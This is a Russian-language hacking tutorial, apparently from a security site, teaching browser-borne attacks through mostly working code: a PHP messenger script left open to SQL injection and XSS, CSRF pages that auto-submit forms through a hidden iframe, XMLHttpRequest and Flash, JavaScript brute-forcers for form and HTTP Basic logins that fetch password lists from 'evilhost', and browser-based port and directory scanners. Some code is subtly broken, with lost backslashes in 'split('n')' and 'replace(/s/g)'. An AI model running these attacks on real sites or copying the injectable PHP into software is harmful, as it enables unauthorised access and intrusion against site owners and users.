<?php
// Функция показа формы отправки сообщения.
function mess_form(){
print "<form action=messenger.php method=POST>
From:<input name=from type=text><br>
To:<input name=to type=text><br>
<textarea name=body cols=10 rows=20></textarea><br>
<input type=submit>
</form>
";
// После показа формы прерываем выполнение скрипта
exit;
}
// Переменные нужные для подключения к БД.
// В переменную $pass поместите Ваш пароль для подключения
// к mysql
$db='site';
$user='root';
$pass=''; // Сюда введите свой пароль для подключения к MySQL
$host='localhost';
// Если хотя бы одно из полей пусто то
// показываем форму отправки сообщения
if ($_POST['from']=='' || $_POST['to']=='' || $_POST['body']=='' ) mess_form();
// Если всё нормально - соединяемся с базой
$conn=mysql_connect($host,$user,$pass);
mysql_select_db($db);
// И вставляем в таблицу messages новое сообщение.
mysql_query("INSERT INTO messages(sender,client,text) VALUES('".$_POST['from']."','".$_POST['to']."','".$_POST['body']."')") or die(mysql_error());
// Закрываем соединение с базой.
mysql_close($conn);
// Выводим переданные данные на экран
print "<b>Сообщение отправлено.</b><br>";
print "<b>От:</b>".$_POST['from'];
print "<br><b>Кому:</b>".$_POST['to'];
print "<br><b>Текст:</b>".$_POST['body'];
?>
Для проверки работоспособности скрипта пройдите по ссылке<form action=http://targethost/messenger.php method=POST> <input name=from type=text value=kuzya><br> <input name=to type=text value=inattack.ru><br> <input name=body type=text value=CSRFF><br> <input type=submit> </form>Вот код основной странички(danger_iframe.html):
<html> <head> <title>Danger Page (IFrame)</title> </head> <body> <!—Фрейм невидимый, при его загрузке вызывается функция работы с формой--> <iframe name='evilframe' src='form.html' style='display:none' onLoad=submit_form();></iframe> </body> </html>Вот код функции submit_form() которая будет вызываться при загрузке фрейм:
function submit_form(){
window.evilframe.document.forms[0].submit();
}
Как видите – в свойстве action нашей формы указан URL скрипта отправки сообщений и все поля заранее заполнены. Включите код этой функции в любой части странички между тегами <script></script>. Когда всё будет готово - обратитесь по адресу:browser= new ActiveXObject("Microsoft.XMLHTTP");
Мы работаем с ActiveX только по тому что будем использовать IE. В Mozilla это будет выглядеть следующим образом:
browser=new XMLHttpRequest;
Затем нам нужно использовать метод open() нашего объекта browser что бы указать куда и каким методом мы будем слать данные. Далее в поле Content-type нашего запроса укажем что отсылаются данные, отправленные из формы. Ну и наконец, отправим запрос.
Вот код нашей злонамеренной странички (danger_xmlhttp.html), в комментариях более подробные объяснения к коду:
<html>
<head>
<title>Danger page!</title>
</head>
<body>
<script>
// Устанавливаем параметры которые мы будем передавать
var params="from=kuzya&to=inattack&body=csrf";
// Определяем переменную browser как компонент
// нужный для отправки запросов.
browser= new ActiveXObject("Microsoft.XMLHTTP");
// Обращаемся к нашему скрипту отправки сообщений
// и указываем метод передачи данных (POST)
browser.open("POST","http://targethost/messenger.php",true);
// Указываем тип отправляемых данных
browser.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// Отправляем параметры.
browser.send(params);
</script>
</body>
</html>
Обратитесь к этой страничке и проверьте работу скрипта. Сообщение записалось в базу, всё ок!
var client:LoadVars=new LoadVars();
client.send("http://www.site.com/script.php?name=inattack","","GET");
Обратите внимание на параметры передаваемые методу send() - первый параметр это URI который надо
запросить (http://www.site.com/script.php?name=inattack), второй параметр пуст, он отвечает за окно в
котором будет отображён результат запроса – в нашем случае он будет отображён в этом же окне. А вообще второй
параметр может принимать следующие значения:
var client:LoadVars=new LoadVars();
client.decode("from=kuzya&to=russian&body=inattack_team!");
client.send("http://targethost/messenger.php","","POST");
Пройдите по адресу<?php
error_reporting(0);
# Логин и пароль
$login='Kuzya';
$password='inattack';
# функция показа формы
function show_form(){
print "<html>
<head>
<title>Test html-auth form.</title>
</head>
<body>
<form action=html_auth.php method=post>
<input type=text name=login>
<input type=password name=password>
<input type=submit>
</form>
</body>
</html>";
}
if ($_POST['login']==$login && $_POST['password']==$password){
print "Yes";
} else {
print "No";
show_form();
}
?>
Как видите – логин: Kuzya, пароль:inattack. Если всё введено верно - скрипт выводит надпись “Yes”. Если же логин или пароль
неверны - скрипт выведет “No” и отобразит форму. Ниже приведён код странички (html_auth_brute.html) которая хранится в корне evilhost. <html>
<head>
<title>html-form bruter</title>
<script>
// Логин
var login="Kuzya";
// Массив с тремя паролями
var passwords = new Array();
passwords[0]="blah";
passwords[1]="inattack";
passwords[2]="hacking"
var browser = new ActiveXObject("Microsoft.XMLHTTP");
// Переменная в которой будет храниться текущий пароль
var now="";
// Функция подбора пароля
function brute(){
for (var i = 0; i <= passwords.length; i++){
// заносим в переменную now текущий пароль
now=passwords[i];
// Пытаемся авторизироваться с помощью функции tryLogin()
tryLogin(passwords[i]);
}
}
// Функция попытки авторизации
function tryLogin(pass){
// Указываем метод передачи данных и цель.
browser.open("POST","http://targethost/html_auth.php",false);
// Анализировать ответ будет функция analysfunc
browser.onreadystatechange=analysfunc;
// Изменяем заголовок content-type
browser.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Отправляем запрос
browser.send("login=Kuzya&password="+pass);
}
function analysfunc(){
// Если ответ пришёл и его содержимое – слово “Yes”
// то с помощью функции alert() выводим пароль, который хранится
// в переменной now.
if (browser.readyState==4 && browser.responseText=="Yes"){
alert(now);
}
}
</script>
</head>
<!--Как только страничка загружена вызываем функцию brute() -->
<body onLoad="brute();">
</body>
</html>
При обращении к данной страничке я увидел следующее:


<?php
$name='Kuzya'; // логин пользователя (user login)
$pass='hack'; // пароль пользователя (user password)
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) {
header('WWW-Authenticate: Basic realm="TestAuth"');
header('HTTP/1.0 401 Unauthorized');
exit("<b>Access Denied</b>");
}
?>
Обратитесь к данной страничке и введите правильный пароль и логин для проверки. Если всё ок - должна появится пустая страничка.
Перед рассмотрением кода нужно сказать о двух важных вещах:
pass password hacking 987654321 blah 123 qwerty hack kuzya 1234567890 funny yandexТеперь давайте взглянем на код нужный для подбора пароля(auth_brute_code.js). Для начала нужно объявить все нужные нам переменные:
// В массиве passwords хранятся пароли для перебора
var passwords = new Array();
// в переменной login хранится имя пользователя для перебора
var login="Kuzya";
//browser – переменная для XMLHTTP
var browser=null;
browser = new ActiveXObject("Microsoft.XMLHTTP");
// Переменная в которой будет храниться текущий пароль
var now = "";
Далее мы должны получить список паролей:
function getPasswordsList(){
// Запрашиваем файл passwords.txt
browser.open("GET","http://evilhost/passwords.txt",true);
// При изменении состояния компонента вызываем функцию checkPassList
browser.onreadystatechange=checkPassList;
browser.send(null);
}
function checkPassList(){
// Если ответ готов
if (browser.readyState==4){
// Полученный текст разбиваем на части и помещаем в массив passwords.
// Как разделитель используем знак переноса строки.
passwords=browser.responseText.split("n");
// После того как список паролей получен, вызываем функцию подбора.
AuthBrute();
}
}
Теперь рассмотрим функции которые будут осуществлять подбор пароля:
// pnumb – номер пароля в массиве.
function TryAuth(pnumb){
var pass = passwords[pnumb];
// Удаляем пустые символы которые образуются в результате разбиения // полученного текста на массив
pass=pass.replace(/s/g, "");
browser.open("HEAD","http://targethost/auth.php",0,login,pass);
// В переменную now заносим текущий пароль
now=passwords[pnumb];
browser.onreadystatechange=analfunc;
browser.send(null);
}
function analfunc(){
if (browser.status == '200'){
alert("Yes! Password is "+now);
}
}
// Функция осуществления подбора
function AuthBrute(){
for (var count=0; count <= passwords.length-1; count ++) {
TryAuth(count);
}
}
Данный скрипт должен располагаться в корне evilhost. Теперь нам нужно написать html-страничку на которой
будет расположена 1 кнопка начинающая перебор. Она будет располагаться в корне evilhost. Вот её код (auth_brute.html):
<html> <head> <title>auth brute page!</title> <script src=auth_brute_code.js></script> </head> <body> <!-- Первой вызываем функцию получения списка паролей --> <!-- а она уже вызывает функцию перебора. --> <input type=button onClick="getPasswordsList();" value="Brute!"> </body> </html>Для проверки работоспособности скрипта пройдите по ссылке http://evilhost/auth_brute.html и нажмите на нашу кнопку. Если всё правильно, то Вы должны увидеть следующее:

<html>
<head>
<title></title>
<script>
// Объявляем нужные переменные
var host = "";
var port = "";
var browser = null;
var main_div = null;
// Фунция сканирования порта
function scanPort(){
// Берём данные из формы (хост/порт)
host = document.forms[0].host.value;
port = document.forms[0].port.value;
browser = new ActiveXObject("Microsoft.XMLHTTP");
browser.open("GET","http://"+host+":"+port, true);
browser.onreadystatechange=analysfunc;
browser.send(null);
}
// Функция которая покажет нам все этапы осуществления запроса
function analysfunc(){
main_div = document.getElementById("main_div");
main_div.innerHTML+=browser.readyState+"<br>";
if(browser.readyState==4){
main_div.innerHTML+="Status:"+browser.status+"<br>";
main_div.innerHTML+="Response:"+browser.responseText+"<br>";
main_div.innerHTML+="Status text:"+browser.statusText+"<br>";
}
}
</script>
</head>
<body>
<form>
Host:<input type=text name=host value=localhost><br>
Port:<input type=text name=port><br>
<input type=button onClick=scanPort(); value=scan>
</form>
<hr>
<div id=main_div></div>
</body>
</html>
Я разместил данную страничку на localhost`е. Посмотрим что же у нас получилось. Пройдите по ссылке
http://localhost/port_scan.html
и укажите, например, порт 3306 (MySQL). Итак, что мы получили:


<html>
<head>
<title></title>
<script>
var host = "";
var port = "";
var browser = null;
var main_div = null;
var answer = 0;
function check(){
if (browser.readyState == 4){
alert("open!");
} else {
alert("close!");
}
}
function scanPort(){
host = document.forms[0].host.value;
port = document.forms[0].port.value;
browser = new ActiveXObject("Microsoft.XMLHTTP");
browser.open("GET","http://"+host+":"+port, true);
browser.onreadystatechange=analysfunc;
browser.send(null);
// Заводим таймер на 1 секунду
var t = window.setTimeout(check,1000);
}
function analysfunc(){
main_div = document.getElementById("main_div");
main_div.innerHTML+=browser.readyState+"<br>";
if(browser.readyState==4){
main_div.innerHTML+="Status:"+browser.status+"
";
main_div.innerHTML+="Response:"+browser.responseText+"
";
main_div.innerHTML+="Status text:"+browser.statusText+"
";
}
}
</script>
</head>
<body>
<form>
Host:<input type=text name=host value=localhost><br>
Port:<input type=text name=port><br>
<input type=button onClick=scanPort(); value=scan>
</form>
<hr>
<div id=main_div></div>
</body>
</html>
Вот результаты работы этой странички при сканировании порта 3306:


cgi-bin/ robots.txt admin/ test/ cards/ blah/ dir/Вы можете взять этот список или же составить свой. Главное что бы около половины директорий/файлов были созданы на хосте targethost (именно его мы и будем сканировать). Файл с данным списком сохраните в корне хоста evilhost. Теперь возьмёмся за кодинг. Для начала нам надо написать функцию которая запросит dirlist.txt и разобьёт его на массив. Действовать будем так же как и при подборе пароля к http-авторизации(cgi_scan.js)
// Массив для списка сканируемых обьектов
var dirlist = new Array();
var browser = new ActiveXObject("Microsoft.XMLHTTP");
// В этой переменной будет лежать имя директории/файла
// сканируемого в данный момент
var now = "";
function getDirList(){
browser.open("GET","http://evilhost/dirlist.txt",false);
browser.onreadystatechange=analysfunc;
browser.send(null);
}
function analysfunc(){
if (browser.readyState==4 ){
// Разбиваем полученный ответ на массив
dirlist = browser.responseText.split("n");
}
}
Дальше на очереди сам код проводящий сканирование, всего 3 функции:
function StartScan(){
for (var i=0; i<=dirlist.length-1; i++){
scan(i);
}
}
Функция scan отвечает только за отправку запроса. Этой функции мы будем передавать переменную
num в которой будет храниться номер ячейки массива dirlist – объект который нужно запросить.
function scan(num){
// в переменную now заносим имя файла/папки сканируемого в данный момент.
now=dirlist[num];
browser.open("GET","http://targethost/"+dirlist[num],false);
// При изменении состояния запроса вызываем функцию checkscan
browser.onreadystatechange=checkscan;
browser.send(null);
}
Как Вы наверное уже догадались, функция checkscan() проверяет код ответа как только
от сервера придёт ответ. Если ответ сервера не 404 то функция выведет имя папка/файла и код ответа.
function checkscan(){
if (browser.readyState==4 && browser.status!==404){
var main_div=document.getElementById("main_div");
main_div.innerHTML+=now+":"+browser.status+"<br>";
}
}
А вот код html-странички которая произведёт вызов всех нужных функций(cgi_scanner.html):
<html> <head> <script src=cgi_scan.js ></script> </head> <body onLoad="getDirList();StartScan();";> <div id="main_div"></div> </body> </html>Сохраните её в корне evilhost. Для тестирования скрипта я создал на хосте targethost папки admin, test и файл robots.txt. Пройдите по ссылке http://evilhost/cgi_scanner.html для проверки скрипта. Вот результат работы сканнера на моём веб-сервере:

Hostname lookup своими руками! читать
Хэш нам не преграда, потому что нам его не надо! читать
Startup Delayer 3.0.319: управление автозагрузкой приложений читать
Чертовски хороший LAMP: Пошаговое руководство по установке стека (L)AMP на FreeBSD читать
Tweak-7 1.0.1125: твикер для Windows 7 или как оптимизировать работу Windows 7 читать
Linux и 3G модем. Определение, настройка для подключения к сети. читать
Cистема шифрования TrueCrypt читать
Многопользовательский чат на BAT читать
Исследование: администраторы баз данных мало заботятся о безопасности читать
Оффлайновый способ хранить пароль читать
Спам — как средство передачи шифровок? читать
Мониторинг жёстких дисков при помощи SMART читать
Повышение производительности netfilter, использование ipset читать
Дело об отказавшей системе читать
Атаки на домен: завладеваем корпоративной сетью читать